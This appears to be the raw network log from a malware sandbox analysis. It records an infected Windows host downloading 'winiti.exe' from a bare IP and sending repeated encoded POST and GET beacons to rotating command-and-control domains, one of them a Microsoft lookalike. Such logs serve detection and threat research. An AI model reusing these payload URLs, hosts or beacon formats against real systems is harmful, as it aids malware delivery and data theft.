Network Analysis

GET /54/winiti.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: 104.219.239.104 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 03:05:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 25 Jul 2024 05:19:25 GMT ETag: "b0400-61e0b89cf83dd" Accept-Ranges: bytes Content-Length: 721920 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

POST /v6ba/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.c7v88.top Origin: http://www.c7v88.top Content-Length: 197 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.c7v88.top/v6ba/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

GET /v6ba/?siFuhe3N=nJtV0xxVonYleLmyEDIGF1GRtIwzCkYblW7ymF81wwUwIwWLid3Lr9yJw2X9YaLdXd5m2mo1Ok9Zsjhn2cbjbjbKzyMWkQ/uC8atz3xgP0khh14CmXxCw976WGM8OA3qn6b9QMQ=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.c7v88.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 OK Server: openresty Date: Fri, 26 Jul 2024 03:06:04 GMT Content-Type: text/html Content-Length: 269 Connection: close

GET /2021/sqlite-dll-win32-x86-3350000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK Connection: keep-alive Date: Fri, 26 Jul 2024 03:06:06 GMT Last-Modified: Mon, 15 Mar 2021 12:22:51 GMT Cache-Control: max-age=120 ETag: "m604f519bs7c92b" Content-type: application/zip; charset=utf-8 Content-length: 510251

POST /yagd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.gotvoom.pro Origin: http://www.gotvoom.pro Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.gotvoom.pro/yagd/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

GET /yagd/?siFuhe3N=uEwhQtN8d9WFSPX3vcuayxdpQqb8c/D/UpaKbFjD70Hg2gjUyZfmxqkinXZDMhG9GrAjDWM/1uaY6+kvF7tL6dHrL5YWOt4Y3qm+cyYTZ0PahKZdxCx3NJ3PVHCt9uZUePj8NnU=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.gotvoom.pro Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 OK Server: openresty Date: Fri, 26 Jul 2024 03:06:27 GMT Content-Type: text/html Content-Length: 269 Connection: close

POST /9wjj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.juliakoppel.org Origin: http://www.juliakoppel.org Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.juliakoppel.org/9wjj/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 03:06:33 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip

GET /9wjj/?siFuhe3N=3pAkfJORuRgA59m5D3Ccm/a2baSHIB7ZSYQ2sF+aO2KWoeTfZIMk0oynOCre8P7un/vWh9+jgjqgzzA3WVgVD2gacPCD8hv2BH56l/1+ZEKULaKcv9mw30410B/1ELsaBxrqqsU=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.juliakoppel.org Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 03:06:35 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close

POST /hhti/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.askvanta.com Origin: http://www.askvanta.com Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.askvanta.com/hhti/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

GET /hhti/?siFuhe3N=fjRDIvTmNEJNTuTcr8del2WQp76nRU4WKVyXC6Y4v5xhqnRixQ6zeb282ydBwPMN2XVyKj7Iv4bMnoolEkDYP7t2qkRY0AApd+m94wn/hzh5njk5AnE5TcuZf+A5lnJQAByr72U=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.askvanta.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 OK Server: openresty Date: Fri, 26 Jul 2024 03:06:44 GMT Content-Type: text/html Content-Length: 269 Connection: close

POST /omnp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.microsofr.fun Origin: http://www.microsofr.fun Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.microsofr.fun/omnp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

GET /omnp/?siFuhe3N=GQSd+8pi26b7zJhOJIQXVD/h3K/inFV8tNrqSt2nhXuDaWJRns1If/+gRxLu2YDerAFibGs6WR2Qt7jgVufvyJTnycUzu8Yso7GmTERVlWVgi3ROCwKMdFc5FOB0p/g90EsMQlA=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.microsofr.fun Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 OK Server: openresty Date: Fri, 26 Jul 2024 03:06:52 GMT Content-Type: text/html Content-Length: 269 Connection: close

POST /18e1/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.eworld.org Origin: http://www.eworld.org Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.eworld.org/18e1/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

GET /18e1/?siFuhe3N=Pm7pKTMIYdCMccpB3xsAXFwsVOfU5MHbomtkvn/TIB3o6VHyHDbhzBEtFW9t5aJY+pX07Evew+XtfHVHXf6tslmSqwg1OujBiiUxK9iHVQ3RBf96wgYN9V5GQcLy17oB+M1M8tY=&Qt3=HJYf HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.eworld.org Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 200 OK Server: openresty Date: Fri, 26 Jul 2024 03:07:03 GMT Content-Type: text/html Content-Length: 269 Connection: close

POST /y2xs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ninunveiled.shop Origin: http://www.ninunveiled.shop Content-Length: 209 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ninunveiled.shop/y2xs/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 03:07:09 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J2YUmesouvW0uSKCYb%2BmZ8xXP7JgVYIKPqsQ7Ml8IsGzbSaOuPjELPyo%2BseUVpGLd3JEfSttcRl5dZF60woBqMFI%2BTVCyD65nYv7MlY7GIl8pplGtEYs56YAvpI7m89piWiGuDe5ww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a912d8468c97eae-LAX Content-Encoding: gzip alt-svc: h2=":443"; ma=60